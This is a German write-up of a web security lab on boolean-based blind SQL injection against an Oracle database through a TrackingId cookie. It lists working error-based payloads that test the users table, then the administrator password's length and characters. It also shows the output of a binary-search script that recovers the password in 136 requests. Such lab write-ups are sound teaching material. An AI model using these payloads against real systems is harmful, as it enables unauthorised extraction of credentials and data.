Aktualisiert am: 2023-12-08

Boolean-based Blind SQL Injection

Enumeration

Challenge

  • Das gesuchte Kennwort des Benutzers administrator umfasst Kleinbuchstaben und Ziffern

  • Das Cookie TrackingId kann für SQL-Injection verwendet werden

  • Wir sehen jeweils nur, ob die SQL-Injection zu einem Fehler führt oder nicht, deshalb boolean

  • Beim verwendeten DBMS handelt es sich um Oracle (SELECT ... FROM dual)

Exploitation

In SQL lassen sich Strings mit || zusammensetzen, es handelt sich dabei um den concatenation operator.

  • Um auf jeden Fall einen Fehler zu erzeugen, provozieren wir einen divide by zero error

    ' || (SELECT TO_CHAR(1/0) FROM dual) || '
    
  • Wir erhalten bei einem SELECT '' FROM users einen Fehler, falls die Tabelle nicht existiert. Ohne WHERE rownum=1 (entspricht LIMIT 1) würden wir ebenfalls einen Fehler erhalten, falls die Tabelle mehrere Zeilen aufweist.

    ' || (SELECT '' FROM users WHERE rownum=1) || '
    
  • Der Benutzer administrator ist in der Tabelle users hinterlegt. Wir erhalten nur dann einen Fehler, wenn die Kriterien hinter dem WHERE Schlüsselwort zutreffen.

    ' || (SELECT TO_CHAR(1/0) FROM users WHERE username='administrator') || '
    
  • Das Kennwort umfasst 20 Zeichen. Die erste Abfrage hat keinen Fehler erzeugt, da die Länge nicht kleiner als 16 ist

    ' || (SELECT TO_CHAR(1/0) FROM users WHERE username='administrator' and LENGTH(password)<16 ) || '
    ' || (SELECT TO_CHAR(1/0) FROM users WHERE username='administrator' and LENGTH(password)<32 ) || '
    ...
    ' || (SELECT TO_CHAR(1/0) FROM users WHERE username='administrator' and LENGTH(password)=20 ) || '
    
  • Mit substr (entspricht substring) liesse sich nun jedes einzelne Zeichen des Kennworts prüfen, wobei eine Automatisierung mit BurpSuite oder einem Python-Script möglich ist

     ' || (SELECT TO_CHAR(1/0) FROM users WHERE username='administrator' and substr(password,1,1)='0' ) || '
     ...
     ' || (SELECT TO_CHAR(1/0) FROM users WHERE username='administrator' and substr(password,1,1)='z' ) || '
    
  • Anstelle von = kann mit < und > geprüft werden, ob das gesuchte Zeichen gemäss ASCII kleiner oder grösser ist. Damit werden weniger Versuche benötigt, als wenn jedes Zeichen einzeln geprüft werden müsste

Python Script

Demo | blind-sql-injection-with-conditional-errors.py

Das Script nutzt die Halbierungsmethode bzw. das Halbierungsverfahren. Für ein 20 Zeichen langes Kennwort bestehend aus Kleinbuchstaben und Ziffern werden damit lediglich etwa 140 Versuche benötigt

$ ./blind-sql-injection-with-conditional-errors.py
ns46lmsrpi8ms8fkn5uf
requests: 136
password: ns46lmsrpi8ms8fkn5uf

Links